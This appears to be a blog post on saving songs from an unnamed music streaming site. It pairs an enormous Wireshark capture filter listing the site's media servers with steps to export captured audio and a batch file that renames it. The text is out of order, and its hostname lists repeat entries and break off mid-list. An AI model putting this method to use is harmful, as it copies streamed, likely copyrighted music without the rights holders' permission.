charter-208-85-45-42.popularmusicsite.com or server-ph-dc4-45-45.popularmusicsite.com or server-ph-dc4-45-46.popularmusicsite.com or server-ph-dc4-45-48.popularmusicsite.com or server-ph-dc4-45-49.popularmusicsite.com or server-ph-dc4-45-50.popularmusicsite.com or server-ph-dc4-45-51.popularmusicsite.com or server-ph-dc4-45-52.popularmusicsite.com or server-ph-dc4-45-53.popularmusicsite.com or server-ph-dc4-45-54.popularmusicsite.com or server-ph-dc4-45-55.popularmusicsite.com or server-ph-dc4-45-56.popularmusicsite.com or server-ph-dc4-45-57.popularmusicsite.com or server-ph-dc4-45-58.popularmusicsite.com or server-ph-dc4-45-59.popularmusicsite.com or server-ph-dc4-45-60.popularmusicsite.com or server-ph-dc4-45-61.popularmusicsite.com or server-ph-dc4-45-62.popularmusicsite.com or server-ph-dc4-45-63.popularmusicsite.com or server-ph-dc4-45-64.popularmusicsite.com or server-ph-dc4-45-65.popularmusicsite.com or server-ph-dc4-45-66.popularmusicsite.com or server-ph-dc4-45-67.popularmusicsite.com or server-ph-dc4-45-68.popularmusicsite.com or server-ph-dc4-45-69.popularmusicsite.com or server-ph-dc4-45-70.popularmusicsite.com or server-ph-dc4-45-71.popularmusicsite.com or server-ph-dc4-45-72.popularmusicsite.com or server-ph-dc4-45-73.popularmusicsite.com or server-ph-dc4-45-74.popularmusicsite.com or server-ph-dc4-45-75.popularmusicsite.com or server-ph-dc4-45-76.popularmusicsite.com or server-ph-dc4-45-77.popularmusicsite.com or server-ph-dc4-45-78.popularmusicsite.com or server-ph-dc4-45-79.popularmusicsite.com or server-ph-dc4-45-80.popularmusicsite.com or server-ph-dc4-45-81.popularmusicsite.com or server-ph-dc4-45-82.popularmusicsite.com or server-ph-dc4-45-83.popularmusicsite.com or server-ph-dc4-45-84.popularmusicsite.com or server-ph-dc4-45-85.popularmusicsite.com or server-ph-dc4-45-86.popularmusicsite.com or server-ph-dc4-45-87.popularmusicsite.com or server-ph-dc4-45-88.popularmusicsite.com or server-ph-dc4-45-89.popularmusicsite.com or server-ph-dc4-45-90.popularmusicsite.com or server-ph-dc4-45-91.popularmusicsite.com or server-ph-dc4-45-92.popularmusicsite.com or server-ph-dc4-45-93.popularmusicsite.com or server-ph-dc4-45-94.popularmusicsite.com or server-ph-dc4-45-95.popularmusicsite.com or server-ph-dc4-45-96.popularmusicsite.com or server-ph-dc4-45-97.popularmusicsite.com or server-ph-dc4-45-98.popularmusicsite.com or server-ph-dc4-45-99.popularmusicsite.com or server-ph-dc4-45-100.popularmusicsite.com or server-ph-dc4-45-101.popularmusicsite.com or server-ph-dc4-45-102.popularmusicsite.com or server-ph-dc4-45-103.popularmusicsite.com or server-ph-dc4-45-104.popularmusicsite.com or server-ph-dc4-45-105.popularmusicsite.com or server-ph-dc4-45-107.popularmusicsite.com or server-ph-dc4-45-108.popularmusicsite.com or server-ph-dc4-45-109.popularmusicsite.com or server-ph-dc4-45-110.popularmusicsite.com or server-ph-dc4-45-111.popularmusicsite.com or server-ph-dc4-45-112.popularmusicsite.com or server-ph-dc4-45-113.popularmusicsite.com or server-ph-dc4-45-114.popularmusicsite.com or server-ph-dc4-45-115.popularmusicsite.com or server-ph-dc4-45-117.popularmusicsite.com or server-ph-dc4-45-118.popularmusicsite.com or server-ph-dc4-45-119.popularmusicsite.com or server-ph-dc4-45-120.popularmusicsite.com or server-ph-dc4-45-121.popularmusicsite.com or server-ph-dc4-45-122.popularmusicsite.com or server-ph-dc4-45-124.popularmusicsite.com or server-ph-dc4-45-125.popularmusicsite.com or server-ph-dc4-45-126.popularmusicsite.com or server-ph-dc4-45-127.popularmusicsite.com or server-ph-dc4-45-128.popularmusicsite.com or server-ph-dc4-45-129.popularmusicsite.com or server-ph-dc4-45-130.popularmusicsite.com or server-ph-dc4-45-131.popularmusicsite.com or server-ph-dc4-45-132.popularmusicsite.com or server-ph-dc4-45-133.popularmusicsite.com or server-ph-dc4-45-134.popularmusicsite.com or server-ph-dc4-45-135.popularmusicsite.com or server-ph-dc4-45-136.popularmusicsite.com or server-ph-dc4-45-137.popularmusicsite.com or server-ph-dc4-45-138.popularmusicsite.com or server-ph-dc4-45-139.popularmusicsite.com or server-ph-dc4-45-140.popularmusicsite.com or server-ph-dc4-45-141.popularmusicsite.com or server-ph-dc4-45-142.popularmusicsite.com or server-ph-dc4-45-143.popularmusicsite.com or server-ph-dc4-45-144.popularmusicsite.com or server-ph-dc4-45-145.popularmusicsite.com or server-ph-dc4-45-146.popularmusicsite.com or server-ph-dc4-45-147.popularmusicsite.com or server-ph-dc4-45-148.popularmusicsite.com or server-ph-dc4-45-149.popularmusicsite.com or server-ph-dc4-45-150.popularmusicsite.com or server-ph-dc4-45-151.popularmusicsite.com or server-ph-dc4-45-152.popularmusicsite.com or server-ph-dc4-45-153.popularmusicsite.com or server-ph-dc4-45-154.popularmusicsite.com or server-ph-dc4-45-155.popularmusicsite.com or server-ph-dc4-45-156.popularmusicsite.com or server-ph-dc4-45-157.popularmusicsite.com or server-ph-dc4-45-158.popularmusicsite.com or server-ph-dc4-45-159.popularmusicsite.com or server-ph-dc4-45-160.popularmusicsite.com or server-ph-dc4-45-161.popularmusicsite.com or server-ph-dc4-45-162.popularmusicsite.com or server-ph-dc4-45-163.popularmusicsite.com or server-ph-dc4-45-164.popularmusicsite.com or server-ph-dc4-45-165.popularmusicsite.com or server-ph-dc4-45-166.popularmusicsite.com or server-ph-dc4-45-167.popularmusicsite.com or server-ph-dc4-45-168.popularmusicsite.com or server-ph-dc4-45-169.popularmusicsite.com or server-ph-dc4-45-170.popularmusicsite.com or server-ph-dc4-45-171.popularmusicsite.com or server-ph-dc4-45-172.popularmusicsite.com or server-ph-dc4-45-173.popularmusicsite.com or server-ph-dc4-45-174.popularmusicsite.com or server-ph-dc4-45-175.popularmusicsite.com or server-ph-dc4-45-176.popularmusicsite.com or server-ph-dc4-45-177.popularmusicsite.com or server-ph-dc4-45-178.popularmusicsite.com or server-ph-dc4-45-179.popularmusicsite.com or server-ph-dc4-45-180.popularmusicsite.com or server-ph-dc4-45-181.popularmusicsite.com or server-ph-dc4-45-182.popularmusicsite.com or server-ph-dc4-45-183.popularmusicsite.com or server-ph-dc4-45-184.popularmusicsite.com or server-ph-dc4-45-185.popularmusicsite.com or server-ph-dc4-45-186.popularmusicsite.com or server-ph-dc4-45-187.popularmusicsite.com or server-ph-dc4-45-188.popularmusicsite.com or server-ph-dc4-45-189.popularmusicsite.com or server-ph-dc4-45-190.popularmusicsite.com or server-ph-dc4-45-191.popularmusicsite.com or server-ph-dc4-45-192.popularmusicsite.com or server-ph-dc4-45-194.popularmusicsite.com or server-ph-dc4-45-195.popularmusicsite.com or server-ph-dc4-45-196.popularmusicsite.com or server-ph-dc4-45-197.popularmusicsite.com or server-ph-dc4-45-198.popularmusicsite.com or server-ph-dc4-45-199.popularmusicsite.com or server-ph-dc4-45-201.popularmusicsite.com or server-ph-dc4-45-202.popularmusicsite.com or server-ph-dc4-45-203.popularmusicsite.com or server-ph-dc4-45-204.popularmusicsite.com or server-ph-dc4-45-206.popularmusicsite.com or server-ph-dc4-45-207.popularmusicsite.com or server-ph-dc4-45-209.popularmusicsite.com or server-ph-dc4-45-210.popularmusicsite.com or server-ph-dc4-45-211.popularmusicsite.com or server-ph-dc4-45-212.popularmusicsite.com or server-ph-dc4-45-213.popularmusicsite.com or server-ph-dc4-45-214.popularmusicsite.com or server-ph-dc4-45-215.popularmusicsite.com or server-ph-dc4-45-216.popularmusicsite.com or server-ph-dc4-45-217.popularmusicsite.com or server-ph-dc4-45-218.popularmusicsite.com or server-ph-dc4-45-219.popularmusicsite.com or server-ph-dc4-45-220.popularmusicsite.com or server-ph-dc4-45-221.popularmusicsite.com or server-ph-dc4-45-222.popularmusicsite.com or server-ph-dc4-45-223.popularmusicsite.com or server-ph-dc4-45-224.popularmusicsite.com or server-ph-dc4-45-226.popularmusicsite.com or server-ph-dc4-45-227.popularmusicsite.com or server-ph-dc4-45-228.popularmusicsite.com or server-ph-dc4-45-229.popularmusicsite.com or server-ph-dc4-45-230.popularmusicsite.com or server-ph-dc4-45-232.popularmusicsite.com or server-ph-dc4-45-233.popularmusicsite.com or server-ph-dc4-45-234.popularmusicsite.com or server-ph-dc4-45-235.popularmusicsite.com or server-ph-dc4-45-236.popularmusicsite.com or server-ph-dc4-45-237.popularmusicsite.com or server-ph-dc4-45-238.popularmusicsite.com or server-ph-dc4-45-239.popularmusicsite.com or server-ph-dc4-45-240.popularmusicsite.com or server-ph-dc4-45-241.popularmusicsite.com or server-ph-dc4-45-242.popularmusicsite.com or server-ph-dc4-45-243.popularmusicsite.com or server-ph-dc4-45-244.popularmusicsite.com or server-ph-dc4-45-245.popularmusicsite.com or server-ph-dc4-45-246.popularmusicsite.com or server-ph-dc4-45-247.popularmusicsite.com or server-ph-dc4-45-248.popularmusicsite.com or server-ph-dc4-45-249.popularmusicsite.com or server-ph-dc4-45-250.popularmusicsite.com or server-ph-dc4-45-251.popularmusicsite.com or server-ph-dc4-45-252.popularmusicsite.com or server-ph-dc4-45-253.popularmusicsite.com or server-ph-dc4-45-254.popularmusicsite.com or dc6-e-1-208-85-46-1.popularmusicsite.com or dc6-e-2-208-85-46-2.popularmusicsite.com or dc6-e-2-208-85-46-3.popularmusicsite.com or dc6-e-2-208-85-46-4.popularmusicsite.com or dc6-e-2-208-85-46-5.popularmusicsite.com or dc6-e-2-208-85-46-6.popularmusicsite.com or dc6-e-2-208-85-46-7.popularmusicsite.com or dc6-e-2-208-85-46-8.popularmusicsite.com or dc6-e-2-208-85-46-9.popularmusicsite.com or dc6-e-2-208-85-46-10.popularmusicsite.com or dc6-e-2-208-85-46-11.popularmusicsite.com or dc6-e-2-208-85-46-12.popularmusicsite.com or dc6-e-2-208-85-46-13.popularmusicsite.com or mediaserver-dc6-t1-1.popularmusicsite.com or mediaserver-dc6-t1-2.popularmusicsite.com or mediaserver-dc6-t1-3.popularmusicsite.com or mediaserver-dc6-t1-4.popularmusicsite.com or mediaserver-dc6-t2-1.popularmusicsite.com or mediaserver-dc6-t2-2.popularmusicsite.com or mediaserver-dc6-t2-3.popularmusicsite.com or mediaserver-dc6-t2-4.popularmusicsite.com or mediaserver-dc6-t3-1.popularmusicsite.com or mediaserver-dc6-t3-2.popularmusicsite.com or mediaserver-dc6-t3-3.popularmusicsite.com or mediaserver-dc6-t3-4.popularmusicsite.com
If you take the time I'm sure you can figure out what popularmusicsite.com is.
This particular popular music site separates out their audio media servers and their ad media servers so you can specify specifically just audio servers. You could grab everything with a net src filter with the IP block but that's not what I was trying to accomplish. This filter should be just audio files captured.
So that's pretty much it, just go listen to music for a few hours and keep a copy of everything you listened to.
Open your pcap file in wireshark, click on File -> Export -> Objects -> HTTP
You should have nothing but audio/mp4 listed in the content type.
Click Save All, save them to a folder.
You'll then need to rename all the files and add the extension .mp4
Sounds like a lot of legwork renaming all those files since they have a bunch of odd characters in their names, would be a good job for a script...
Place this script one directory up, change blar to whatever the directory name is that you have all your exported music in.
-=Script=-
@echo off
setlocal EnableDelayedExpansion
dir /b .\blar >> output.txt
for /f %%a in (output.txt) do (
set t=!random!
ren ".\blar\%%a" "!t!.mp4"
)
del /f /q output.txt
Echo Done..
pause
This will give you a random number as a name for all files and tag the .mp4 extension on there.
Winamp's autotag does a good job of getting the meta data updated on the files. I don't know of anything that will change the actual filename based on the metadata. If you do, post a comment.
==Update==
Comment posted suggests using MP3Tag, it works perfectly.
Why not have a massive Wireshark capture filter to capture music a from popular music streaming site? Well that's what my thought was, a bit of DNS digging and a refresher on Wireshark capture filter syntax later and whammo you get this:
src host future-208-85-40-1.popularmusicsite.com or future-208-85-40-2.popularmusicsite.com or server-net-sv3-40-3.popularmusicsite.com or server-net-sv3-40-4.popularmusicsite.com or server-net-sv3-40-7.popularmusicsite.com or server-net-sv3-40-8.popularmusicsite.com or server-net-sv3-40-11.popularmusicsite.com or server-net-sv3-40-12.popularmusicsite.com or server-net-sv3-40-13.popularmusicsite.com or server-net-sv3-40-14.popularmusicsite.com or server-net-sv3-40-15.popularmusicsite.com or server-net-sv3-40-16.popularmusicsite.com or server-ph-sv3-40-107.popularmusicsite.com or server-ph-sv3-40-108.popularmusicsite.com or server-ph-sv3-40-109.popularmusicsite.com or server-ph-sv3-40-110.popularmusicsite.com or server-ph-sv3-40-111.popularmusicsite.com or server-ph-sv3-40-112.popularmusicsite.com or server-ph-sv3-40-113.popularmusicsite.com or server-ph-sv3-40-114.popularmusicsite.com or server-ph-sv3-40-115.popularmusicsite.com or server-ph-sv3-40-116.popularmusicsite.com or server-ph-sv3-40-117.popularmusicsite.com or server-ph-sv3-40-118.popularmusicsite.com or server-ph-sv3-40-119.popularmusicsite.com or server-ph-sv3-40-120.popularmusicsite.com or server-ph-sv3-40-121.popularmusicsite.com or server-ph-sv3-40-122.popularmusicsite.com or server-ph-sv3-40-123.popularmusicsite.com or server-ph-sv3-40-124.popularmusicsite.com or server-ph-sv3-40-125.popularmusicsite.com or server-ph-sv3-40-126.popularmusicsite.com or server-ph-sv3-40-127.popularmusicsite.com or server-ph-sv3-40-128.popularmusicsite.com or server-ph-sv3-40-129.popularmusicsite.com or server-ph-sv3-40-130.popularmusicsite.com or server-ph-sv3-40-131.popularmusicsite.com or server-ph-sv3-40-133.popularmusicsite.com or server-ph-sv3-40-134.popularmusicsite.com or server-ph-sv3-40-135.popularmusicsite.com or server-ph-sv3-40-136.popularmusicsite.com or server-ph-sv3-40-137.popularmusicsite.com or server-ph-sv3-40-138.popularmusicsite.com or server-ph-sv3-40-139.popularmusicsite.com or server-ph-sv3-40-140.popularmusicsite.com or server-ph-sv3-40-141.popularmusicsite.com or server-ph-sv3-40-142.popularmusicsite.com or server-ph-sv3-40-143.popularmusicsite.com or server-ph-sv3-40-144.popularmusicsite.com or server-ph-sv3-40-145.popularmusicsite.com or server-ph-sv3-40-146.popularmusicsite.com or server-ph-sv3-40-147.popularmusicsite.com or server-ph-sv3-40-148.popularmusicsite.com or server-ph-sv3-40-149.popularmusicsite.com or server-ph-sv3-40-150.popularmusicsite.com or server-ph-sv3-40-151.popularmusicsite.com or server-ph-sv3-40-152.popularmusicsite.com or server-ph-sv3-40-153.popularmusicsite.com or server-ph-sv3-40-154.popularmusicsite.com or server-ph-sv3-40-155.popularmusicsite.com or server-ph-sv3-40-156.popularmusicsite.com or server-ph-sv3-40-157.popularmusicsite.com or server-ph-sv3-40-158.popularmusicsite.com or server-ph-sv3-40-159.popularmusicsite.com or server-ph-sv3-40-160.popularmusicsite.com or server-ph-sv3-40-161.popularmusicsite.com or server-ph-sv3-40-162.popularmusicsite.com or server-ph-sv3-40-163.popularmusicsite.com or server-ph-sv3-40-164.popularmusicsite.com or server-ph-sv3-40-165.popularmusicsite.com or server-ph-sv3-40-166.popularmusicsite.com or server-ph-sv3-40-167.popularmusicsite.com or server-ph-sv3-40-168.popularmusicsite.com or server-ph-sv3-40-169.popularmusicsite.com or server-ph-sv3-40-170.popularmusicsite.com or server-ph-sv3-40-171.popularmusicsite.com or server-ph-sv3-40-172.popularmusicsite.com or server-ph-sv3-40-173.popularmusicsite.com or server-ph-sv3-40-174.popularmusicsite.com or server-ph-sv3-40-176.popularmusicsite.com or server-ph-sv3-40-177.popularmusicsite.com or server-ph-sv3-40-178.popularmusicsite.com or server-ph-sv3-40-179.popularmusicsite.com or server-ph-sv3-40-180.popularmusicsite.com or server-ph-sv3-40-181.popularmusicsite.com or server-ph-sv3-40-182.popularmusicsite.com or server-ph-sv3-40-183.popularmusicsite.com or server-ph-sv3-40-185.popularmusicsite.com or server-ph-sv3-40-186.popularmusicsite.com or server-ph-sv3-40-187.popularmusicsite.com or server-ph-sv3-40-188.popularmusicsite.com or server-ph-sv3-40-189.popularmusicsite.com or server-ph-sv3-40-190.popularmusicsite.com or server-ph-sv3-40-191.popularmusicsite.com or server-ph-sv3-40-192.popularmusicsite.com or server-ph-sv3-40-193.popularmusicsite.com or server-ph-sv3-40-194.popularmusicsite.com or server-ph-sv3-40-195.popularmusicsite.com or server-ph-sv3-40-196.popularmusicsite.com or server-ph-sv3-40-197.popularmusicsite.com or server-ph-sv3-40-198.popularmusicsite.com or server-ph-sv3-40-199.popularmusicsite.com or server-ph-sv3-40-211.popularmusicsite.com or server-ph-sv3-40-212.popularmusicsite.com or server-ph-sv3-40-213.popularmusicsite.com or server-ph-sv3-40-214.popularmusicsite.com or server-ph-sv3-40-215.popularmusicsite.com or server-ph-sv3-40-216.popularmusicsite.com or server-ph-sv3-40-217.popularmusicsite.com or server-ph-sv3-40-218.popularmusicsite.com or server-ph-sv3-40-219.popularmusicsite.com or server-ph-sv3-40-220.popularmusicsite.com or server-ph-sv3-40-221.popularmusicsite.com or server-ph-sv3-40-222.popularmusicsite.com or server-ph-sv3-40-223.popularmusicsite.com or server-ph-sv3-40-225.popularmusicsite.com or server-ph-sv3-40-227.popularmusicsite.com or server-ph-sv3-40-228.popularmusicsite.com or server-ph-sv3-40-229.popularmusicsite.com or server-ph-sv3-40-230.popularmusicsite.com or server-ph-sv3-40-231.popularmusicsite.com or server-ph-sv3-40-232.popularmusicsite.com or server-ph-sv3-40-233.popularmusicsite.com or server-ph-sv3-40-234.popularmusicsite.com or server-ph-sv3-40-235.popularmusicsite.com or server-ph-sv3-40-236.popularmusicsite.com or server-ph-sv3-40-237.popularmusicsite.com or server-ph-sv3-40-238.popularmusicsite.com or server-ph-sv3-40-239.popularmusicsite.com or server-ph-sv3-40-240.popularmusicsite.com or server-ph-sv3-40-241.popularmusicsite.com or server-ph-sv3-40-242.popularmusicsite.com or server-ph-sv3-40-243.popularmusicsite.com or server-ph-sv3-40-244.popularmusicsite.com or server-ph-sv3-40-246.popularmusicsite.com or server-ph-sv3-40-247.popularmusicsite.com or server-ph-sv3-40-248.popularmusicsite.com or server-ph-sv3-40-249.popularmusicsite.com or server-ph-sv3-40-250.popularmusicsite.com or server-ph-sv3-40-251.popularmusicsite.com or server-ph-sv3-40-252.popularmusicsite.com or server-ph-sv3-40-253.popularmusicsite.com or server-ph-sv3-40-254.popularmusicsite.com or future-208-85-41-1.popularmusicsite.com or future-208-85-41-2.popularmusicsite.com or server-net-sv3-41-3.popularmusicsite.com or server-net-sv3-41-4.popularmusicsite.com or server-net-sv3-41-5.popularmusicsite.com or server-net-sv3-41-6.popularmusicsite.com or server-net-sv3-41-7.popularmusicsite.com or server-net-sv3-41-8.popularmusicsite.com or mediaserver-sjl-t1-1.popularmusicsite.com or mediaserver-sjl-t1-2.popularmusicsite.com or mediaserver-sjl-t1-3.popularmusicsite.com or mediaserver-sjl-t1-4.popularmusicsite.com or mediaserver-sjl-t3-4.popularmusicsite.com or mediaserver-sjl-m-2.popularmusicsite.com or mediaserver-sjl-a-1.popularmusicsite.com or mediaserver-sjl-a-2.popularmusicsite.com or mediaserver-sjl-w12-1.popularmusicsite.com or mediaserver-sjl-w12-3.popularmusicsite.com or mediaserver-sjl-w12-4.popularmusicsite.com or mediaserver-sjl-3.popularmusicsite.com or mediaserver-sjl-4.popularmusicsite.com or mediaserver-sjl-w3-1.popularmusicsite.com or mediaserver-sjl-w3-2.popularmusicsite.com or mediaserver-sjl-dev-1.popularmusicsite.com or mediaserver-sjl-dev-2.popularmusicsite.com or mediaserver-sjl-30-1.popularmusicsite.com or mediaserver-sjl-30-2.popularmusicsite.com or mediaserver-sjl-t2-1.popularmusicsite.com or mediaserver-sjl-t2-2.popularmusicsite.com or mediaserver-sjl-t3-1.popularmusicsite.com or mediaserver-sjl-t3-2.popularmusicsite.com or rtspserver-sjl-3.popularmusicsite.com or rtspserver-sjl-4.popularmusicsite.com or mediaserver-sjl-t3-3.popularmusicsite.com or audio-sjl-dev-rem.popularmusicsite.com or server-ph-sv3-41-47.popularmusicsite.com or server-ph-sv3-41-48.popularmusicsite.com or server-ph-sv3-41-49.popularmusicsite.com or server-ph-sv3-41-50.popularmusicsite.com or server-ph-sv3-41-51.popularmusicsite.com or server-ph-sv3-41-52.popularmusicsite.com or server-ph-sv3-41-53.popularmusicsite.com or server-ph-sv3-41-54.popularmusicsite.com or server-ph-sv3-41-55.popularmusicsite.com or server-ph-sv3-41-56.popularmusicsite.com or server-ph-sv3-41-57.popularmusicsite.com or server-ph-sv3-41-58.popularmusicsite.com or server-ph-sv3-41-59.popularmusicsite.com or server-ph-sv3-41-60.popularmusicsite.com or server-ph-sv3-41-61.popularmusicsite.com or server-ph-sv3-41-62.popularmusicsite.com or server-ph-sv3-41-63.popularmusicsite.com or server-ph-sv3-41-65.popularmusicsite.com or server-ph-sv3-41-66.popularmusicsite.com or server-ph-sv3-41-67.popularmusicsite.com or server-ph-sv3-41-68.popularmusicsite.com or server-ph-sv3-41-69.popularmusicsite.com or server-ph-sv3-41-70.popularmusicsite.com or server-ph-sv3-41-71.popularmusicsite.com or server-ph-sv3-41-72.popularmusicsite.com or server-ph-sv3-41-73.popularmusicsite.com or server-ph-sv3-41-74.popularmusicsite.com or server-ph-sv3-41-75.popularmusicsite.com or server-ph-sv3-41-76.popularmusicsite.com or server-ph-sv3-41-77.popularmusicsite.com or server-ph-sv3-41-78.popularmusicsite.com or server-ph-sv3-41-79.popularmusicsite.com or server-ph-sv3-41-80.popularmusicsite.com or server-ph-sv3-41-81.popularmusicsite.com or server-ph-sv3-41-82.popularmusicsite.com or server-ph-sv3-41-83.popularmusicsite.com or server-ph-sv3-41-84.popularmusicsite.com or server-ph-sv3-41-85.popularmusicsite.com or server-ph-sv3-41-86.popularmusicsite.com or server-ph-sv3-41-87.popularmusicsite.com or server-ph-sv3-41-88.popularmusicsite.com or server-ph-sv3-41-89.popularmusicsite.com or server-ph-sv3-41-90.popularmusicsite.com or server-ph-sv3-41-91.popularmusicsite.com or server-ph-sv3-41-92.popularmusicsite.com or server-ph-sv3-41-93.popularmusicsite.com or server-ph-sv3-41-94.popularmusicsite.com or server-ph-sv3-41-95.popularmusicsite.com or server-ph-sv3-41-96.popularmusicsite.com or server-ph-sv3-41-97.popularmusicsite.com or server-ph-sv3-41-98.popularmusicsite.com or server-ph-sv3-41-99.popularmusicsite.com or server-ph-sv3-41-100.popularmusicsite.com or server-ph-sv3-41-102.popularmusicsite.com or server-ph-sv3-41-103.popularmusicsite.com or server-ph-sv3-41-104.popularmusicsite.com or server-ph-sv3-41-105.popularmusicsite.com or server-ph-sv3-41-106.popularmusicsite.com or server-ph-sv3-41-107.popularmusicsite.com or server-ph-sv3-41-108.popularmusicsite.com or server-ph-sv3-41-109.popularmusicsite.com or server-ph-sv3-41-110.popularmusicsite.com or server-ph-sv3-41-111.popularmusicsite.com or server-ph-sv3-41-112.popularmusicsite.com or server-ph-sv3-41-113.popularmusicsite.com or server-ph-sv3-41-114.popularmusicsite.com or server-ph-sv3-41-115.popularmusicsite.com or server-ph-sv3-41-116.popularmusicsite.com or server-ph-sv3-41-117.popularmusicsite.com or server-ph-sv3-41-118.popularmusicsite.com or server-ph-sv3-41-119.popularmusicsite.com or server-ph-sv3-41-120.popularmusicsite.com or server-ph-sv3-41-121.popularmusicsite.com or server-ph-sv3-41-122.popularmusicsite.com or server-ph-sv3-41-123.popularmusicsite.com or server-ph-sv3-41-124.popularmusicsite.com or server-ph-sv3-41-125.popularmusicsite.com or server-ph-sv3-41-126.popularmusicsite.com or server-ph-sv3-41-127.popularmusicsite.com or server-ph-sv3-41-128.popularmusicsite.com or server-ph-sv3-41-129.popularmusicsite.com or server-ph-sv3-41-130.popularmusicsite.com or server-ph-sv3-41-131.popularmusicsite.com or server-ph-sv3-41-132.popularmusicsite.com or server-ph-sv3-41-133.popularmusicsite.com or server-ph-sv3-41-134.popularmusicsite.com or server-ph-sv3-41-135.popularmusicsite.com or server-ph-sv3-41-136.popularmusicsite.com or server-ph-sv3-41-137.popularmusicsite.com or server-ph-sv3-41-138.popularmusicsite.com or server-ph-sv3-41-139.popularmusicsite.com or server-ph-sv3-41-140.popularmusicsite.com or server-ph-sv3-41-141.popularmusicsite.com or server-ph-sv3-41-142.popularmusicsite.com or server-ph-sv3-41-143.popularmusicsite.com or server-ph-sv3-41-144.popularmusicsite.com or server-ph-sv3-41-145.popularmusicsite.com or server-ph-sv3-41-146.popularmusicsite.com or server-ph-sv3-41-147.popularmusicsite.com or server-ph-sv3-41-148.popularmusicsite.com or server-ph-sv3-41-149.popularmusicsite.com or server-ph-sv3-41-150.popularmusicsite.com or server-ph-sv3-41-151.popularmusicsite.com or server-ph-sv3-41-152.popularmusicsite.com or server-ph-sv3-41-153.popularmusicsite.com or server-ph-sv3-41-154.popularmusicsite.com or server-ph-sv3-41-155.popularmusicsite.com or server-ph-sv3-41-156.popularmusicsite.com or server-ph-sv3-41-157.popularmusicsite.com or server-ph-sv3-41-158.popularmusicsite.com or server-ph-sv3-41-159.popularmusicsite.com or server-ph-sv3-41-160.popularmusicsite.com or server-ph-sv3-41-161.popularmusicsite.com or server-ph-sv3-41-162.popularmusicsite.com or server-ph-sv3-41-163.popularmusicsite.com or server-ph-sv3-41-164.popularmusicsite.com or server-ph-sv3-41-165.popularmusicsite.com or server-ph-sv3-41-166.popularmusicsite.com or server-ph-sv3-41-167.popularmusicsite.com or server-ph-sv3-41-168.popularmusicsite.com or server-ph-sv3-41-169.popularmusicsite.com or server-ph-sv3-41-170.popularmusicsite.com or server-ph-sv3-41-171.popularmusicsite.com or server-ph-sv3-41-172.popularmusicsite.com or server-ph-sv3-41-173.popularmusicsite.com or server-ph-sv3-41-174.popularmusicsite.com or server-ph-sv3-41-175.popularmusicsite.com or server-ph-sv3-41-176.popularmusicsite.com or server-ph-sv3-41-177.popularmusicsite.com or server-ph-sv3-41-178.popularmusicsite.com or server-ph-sv3-41-179.popularmusicsite.com or server-ph-sv3-41-180.popularmusicsite.com or server-ph-sv3-41-181.popularmusicsite.com or server-ph-sv3-41-182.popularmusicsite.com or server-ph-sv3-41-183.popularmusicsite.com or server-ph-sv3-41-184.popularmusicsite.com or server-ph-sv3-41-185.popularmusicsite.com or server-ph-sv3-41-186.popularmusicsite.com or server-ph-sv3-41-187.popularmusicsite.com or server-ph-sv3-41-188.popularmusicsite.com or server-ph-sv3-41-189.popularmusicsite.com or server-ph-sv3-41-190.popularmusicsite.com or server-ph-sv3-41-191.popularmusicsite.com or server-ph-sv3-41-192.popularmusicsite.com or server-ph-sv3-41-193.popularmusicsite.com or server-ph-sv3-41-194.popularmusicsite.com or server-ph-sv3-41-195.popularmusicsite.com or server-ph-sv3-41-196.popularmusicsite.com or server-ph-sv3-41-198.popularmusicsite.com or server-ph-sv3-41-199.popularmusicsite.com or server-ph-sv3-41-200.popularmusicsite.com or server-ph-sv3-41-201.popularmusicsite.com or server-ph-sv3-41-202.popularmusicsite.com or server-ph-sv3-41-203.popularmusicsite.com or server-ph-sv3-41-204.popularmusicsite.com or server-ph-sv3-41-205.popularmusicsite.com or server-ph-sv3-41-207.popularmusicsite.com or server-ph-sv3-41-208.popularmusicsite.com or server-ph-sv3-41-209.popularmusicsite.com or server-ph-sv3-41-210.popularmusicsite.com or server-ph-sv3-41-211.popularmusicsite.com or server-ph-sv3-41-212.popularmusicsite.com or server-ph-sv3-41-213.popularmusicsite.com or server-ph-sv3-41-214.popularmusicsite.com or server-ph-sv3-41-215.popularmusicsite.com or server-ph-sv3-41-216.popularmusicsite.com or server-ph-sv3-41-217.popularmusicsite.com or server-ph-sv3-41-219.popularmusicsite.com or server-ph-sv3-41-220.popularmusicsite.com or server-ph-sv3-41-221.popularmusicsite.com or server-ph-sv3-41-222.popularmusicsite.com or server-ph-sv3-41-223.popularmusicsite.com or server-ph-sv3-41-224.popularmusicsite.com or server-ph-sv3-41-225.popularmusicsite.com or server-ph-sv3-41-226.popularmusicsite.com or server-ph-sv3-41-227.popularmusicsite.com or server-ph-sv3-41-228.popularmusicsite.com or server-ph-sv3-41-229.popularmusicsite.com or server-ph-sv3-41-230.popularmusicsite.com or server-ph-sv3-41-231.popularmusicsite.com or server-ph-sv3-41-232.popularmusicsite.com or server-ph-sv3-41-233.popularmusicsite.com or server-ph-sv3-41-234.popularmusicsite.com or server-ph-sv3-41-235.popularmusicsite.com or server-ph-sv3-41-236.popularmusicsite.com or server-ph-sv3-41-237.popularmusicsite.com or server-ph-sv3-41-238.popularmusicsite.com or server-ph-sv3-41-239.popularmusicsite.com or server-ph-sv3-41-240.popularmusicsite.com or server-ph-sv3-41-241.popularmusicsite.com or server-ph-sv3-41-242.popularmusicsite.com or server-ph-sv3-41-243.popularmusicsite.com or server-ph-sv3-41-244.popularmusicsite.com or server-ph-sv3-41-245.popularmusicsite.com or server-ph-sv3-41-246.popularmusicsite.com or server-ph-sv3-41-247.popularmusicsite.com or server-ph-sv3-41-248.popularmusicsite.com or server-ph-sv3-41-249.popularmusicsite.com or server-ph-sv3-41-250.popularmusicsite.com or server-ph-sv3-41-252.popularmusicsite.com or server-ph-sv3-41-254.popularmusicsite.com or future-208-85-42-1.popularmusicsite.com or server-net-sv3-42-7.popularmusicsite.com or server-net-sv3-42-8.popularmusicsite.com or server-net-sv3-42-9.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-17.popularmusicsite.com or server-net-sv3-42-18.popularmusicsite.com or server-net-sv3-42-19.popularmusicsite.com or mediaserver-sv5-t1-2.popularmusicsite.com or mediaserver-sv5-t2-1.popularmusicsite.com or mediaserver-sv5-t2-2.popularmusicsite.com or 